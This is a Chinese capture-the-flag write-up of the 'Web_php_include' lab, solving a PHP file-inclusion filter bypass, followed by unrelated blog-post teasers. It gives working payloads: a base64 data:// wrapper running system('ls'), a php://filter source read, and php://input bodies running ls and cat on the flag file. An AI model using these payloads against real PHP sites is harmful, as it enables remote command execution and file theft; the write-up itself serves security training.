攻防世界Web_php_include

news2024/11/25 0:38:23

php文件包含题

启动场景

进行代码审计:

对get类型参数进行循环过滤字符串'php://',所以考虑其他伪协议,伪协议详见PHP伪协议详解_Snakin_ya的博客-CSDN博客

show_source() 函数

str_replace() 函数

strstr() 函数 

方法一  使用data协议

data://伪协议是数据流封装器,传递相应格式的数据。 通常可以用来执行PHP代码

经过测试官方文档上存在一处问题,经过测试PHP版本5.2,5.3,5.5,7.0;data:// 协议是是受限于allow_url_fopen的,官方文档上给出的是NO,所以要使用data://协议需要满足双on条件

PHP.ini:

data://协议必须双在on才能正常使用;

allow_url_fopen :on

allow_url_include:on

用法:

data://text/plain,

data://text/plain;base64,

由于file://协议用于本地系统,所以考虑用data://协议

1.构造payload:

page=data://text/plain;base64,<?php system("ls")?>  (base64加密后的值)注意这里ls用双引号

 

即:data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4= 

 2.读取flag所在文件

?page=PHP://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php

 

 3.使用base64解码,得到flag

 方法二  运用php://input

php://input是个可以访问请求的原始数据的只读流。POST请求的情况下,最好使用php://input来代替$HTTP_RAW_POST_DATA,因为它不依赖于特定的php.ini指令。而且,这样的情况下$HTTP_RAW_POST_DATA默认没有填充,比激活always_populate_raw_post_data潜在需要更少的内存。enctype="multipart/form-data"的时候php://input是无效的。

1、php://input可以读取http entity body中指定长度的值,由Content-Length指定长度,不管是POST方式或者GET方法提交过来的数据。但是,一般GET方法提交数据时,http request entity body部分都为空。

2、php://input与$HTTP_RAW_POST_DATA读取的数据是一样的,都只读取Content-Type不为multipart/form-data的数据
 

1.访问PHP://input

构造payload:?page=PHP://input

2.使用bp抓包,send to repeater

输入<?php system('ls');?> ,这是php代码,ls是linux命令

 查询到文件名

3,flag应该就在fl4gisisish3r3.php文件里面

输入 <?php system('cat fl4gisisish3r3.php');?>,打开这个文件

得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/426108.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux服务使用宝塔面板搭建网站,并发布公网访问 - 内网穿透

文章目录前言1. 环境安装2. 安装cpolar内网穿透3. 内网穿透4. 固定http地址5. 配置二级子域名6. 创建一个测试页面转载自远程内网穿透的文章&#xff1a;Linux使用宝塔面板搭建网站&#xff0c;并内网穿透实现公网访问 前言 宝塔面板作为简单好用的服务器运维管理面板&#xf…

淘宝模拟登录 +淘宝商品详情数据、淘宝商品列表数据爬取

PYTHON环境&#xff1a; * requests库 * time库 * re库 实现思路&#xff1a; * 检查此账号需不需要验证&#xff08;滑动验证/验证码&#xff09; * 浏览器/工具 获取ua和加密后的密码(一劳永逸的方法) * post请求登录url获取st申请url * 根据获得的st申请地址获取st…

Session详解(重点)

类似于去服务器注册账号&#xff0c;只要服务器不停机&#xff0c;自己注册的账号一直会存在服务器。 什么是Session&#xff1a; 1.服务器会给每一个用户&#xff08;浏览器&#xff09;创建一个对象&#xff1b; 2.一个Session独占一个浏览器&#xff0c;只要浏览器没有关…

如何高效清洗数据?试试这款神器

在大数据时代&#xff0c;数据的来源具有多样性、复杂性。 针对数量庞大、渠道及格式多样的数据&#xff0c;数据清洗就成为刚需。 在数据分析中&#xff0c;数据清洗实际上是十分繁重且关键的一步。 Power Query作为数据清洗的工具&#xff0c;能将这些多源的数据集中并统一…

优化城市布局:地下管网解决方案的应用

城市地下管网是城市基础设施中非常重要的一部分&#xff0c;包括排水系统、供水系统、天然气管道、电缆管道等多种管网。然而&#xff0c;城市地下管网也是一个复杂而庞大的系统&#xff0c;由于年久失修和规划不当等原因&#xff0c;经常出现漏水、爆炸、停电等问题&#xff0…

【Unity入门】10.物体的运动

【Unity入门】物体的运动 大家好&#xff0c;我是Lampard~~ 欢迎来到Unity入门系列博客&#xff0c;所学知识来自B站阿发老师~感谢 &#xff08;一&#xff09;用脚本驱动物体移动 &#xff08;1&#xff09;制作一台运动的小车 回顾上一篇文章&#xff0c;我们已经可以用脚本…

Allegro thermal relief热风焊盘

为了画个通孔焊盘&#xff0c;看了很久的 Thermal relief相关的内容&#xff0c;终于基本上理解了。记录一下。 这篇文章讲得非常清楚&#xff1a; 深入理解Allegro之Thermal Relief与Anti Pad - 百度文库 (baidu.com) 热风焊盘般用在内层&#xff0c;减少一些焊盘和铜皮的连…

某vm样本的分析

背景 驱动那块&#xff08;MiDeadPteTrackerSListHead&#xff09; 从遥远的东方收到的一个样本&#xff0c;好嘛&#xff01;打开之后一直不停的在创建和结束进程&#xff0c;又是vmp。 还是老方法&#xff0c;dmp下来之后看看&#xff0c;好嘛&#xff0c;main函数被vm了&am…

大数据技术之Hive

第1章Hive基本概念1.1 Hive1.1.1 Hive的产生背景在那一年的大数据开源社区&#xff0c;我们有了HDFS来存储海量数据、MapReduce来对海量数据进行分布式并行计算、Yarn来实现资源管理和作业调度。但是面对海量数据和负责的业务逻辑&#xff0c;开发人员要编写MR来对数据进行统计…

stm32学习第四天

DMA1&#xff1a;各个通道一览 DMA2&#xff1a;各个通道一览 1.stm32DMA相关固件库函数说明 第一个参数选择哪一个DMA的哪一个通道 初始化函数 void DMA_Init(DMA_Channel_TypeDef* DMAy_Channelx, DMA_InitTypeDef* DMA_InitStruct); typedef struct {uint32_t DMA_Periph…

Vue项目中关于全局css的处理

Vue项目中关于全局css的处理步骤一&#xff1a;定义声明全局CSS的样式文件(common.scss)步骤二&#xff1a;挂载到全局封装一&#xff1a;对common.scss拆分封装二&#xff1a;新建index.scss&#xff0c;对elementPlus或者element-ui样式进行覆盖封装三&#xff1a;variable.s…

一、ts学习第一课:环境配置

一、下载node 官网&#xff1a;Node.jsNode.js is a JavaScript runtime built on Chromes V8 JavaScript engine.https://nodejs.org/en 推荐下载左侧稳点版的node&#xff0c;下载好了&#xff0c;就一步步点击安装就ok了。 判断是否已经下载好了node&#xff0c;在命令行…

BIO和NIO的区别与实现

目录 目标 概述 实战 单线程版本的BIO 多线程版本的BIO 单线程NIO&#xff08;简易版&#xff09; 单线程NIO&#xff08;多路复用版&#xff09; 客户端发送数据的方法 目标 了解BIO和NIO的区别和应用场景。分析BIO和NIO的线程模型&#xff0c;利用Socket实现BIO和NI…

pytorch 笔记

1.python文件、python控制台Terminal、jupyter代码执行比较 2.Dataset和Dataloader dataset存储数据集&#xff0c;dataloader从数据集中批量加载数据&#xff0c;如 把 dataset 放入 DataLoaderloader Data.DataLoader(datasettorch_dataset, # torch TensorDataset forma…

MIPI D-PHYv2.5笔记(17) -- Global Operation Flow Diagram、数据速率依赖参数

声明&#xff1a;作者是做嵌入式软件开发的&#xff0c;并非专业的硬件设计人员&#xff0c;笔记内容根据自己的经验和对协议的理解输出&#xff0c;肯定存在有些理解和翻译不到位的地方&#xff0c;有疑问请参考原始规范看 Global Operation Flow Diagram 图1 Data Lane Mod…

【Linux】线程概念详析

我们已经了解了Linux操作系统进程部分相关知识&#xff1a; 博主有关Linux进程相关介绍的文章&#xff1a; &#x1f4a5;[Linux] 系统进程相关概念、系统调用、Linux进程详析、进程查看、fork()初识 &#x1f4a5;[Linux] 进程状态相关概念、Linux实际进程状态、进程优先级 …

【超算/先进计算学习】日报1

目录今日已完成任务列表遇到的问题及解决方案任务完成详细笔记Darknet框架优化介绍darknet介绍YOLO高性能计算与超级计算机简介算力超级计算机概念与体系结构并行编程技术Linux常用操作命令Linux操作系统与指令使用机器信息查询文件、目录和权限文件内容查看环境变量使用对自己…

15.枚举

枚举 枚举是Java1.5引入的新特性&#xff0c;通过关键字enum来定义枚举类。枚举类是一种特殊类&#xff0c;它和普通类一样可以使用构造方法、定义成员变量和方法&#xff0c;也能实现接口,但枚举类不能继承其他类。枚举是一个被命名的整型常数的集合&#xff0c;用于声明一组…

Linux系统下安装zookeeper教程

将下载好的zookeeper上传到linux服务器上&#xff0c;这里使用的是FileFilla 解压&#xff1a;[rootcentos7964 software]# tar -zxvf apache-zookeeper-3.7.1-bin.tar.gz 进入刚刚解压后的文件夹&#xff0c;创建一个名字为data的文件夹&#xff0c;如下&#xff1a; [rootc…

分库分表--shardingjdbc

文章目录前言一、shardingjdbc简介作用二、如何使用1.我有个表现在体量太大了,我想做分库分表2.开始改造1 引入shardingjdbc2 更改yml文件3 测试看效果3.旧数据迁移4.其他分库类型5 部分配置说明总结前言 当项目开始的时候,没有想到后续的分库分表的话,其实对于后续的分库分表…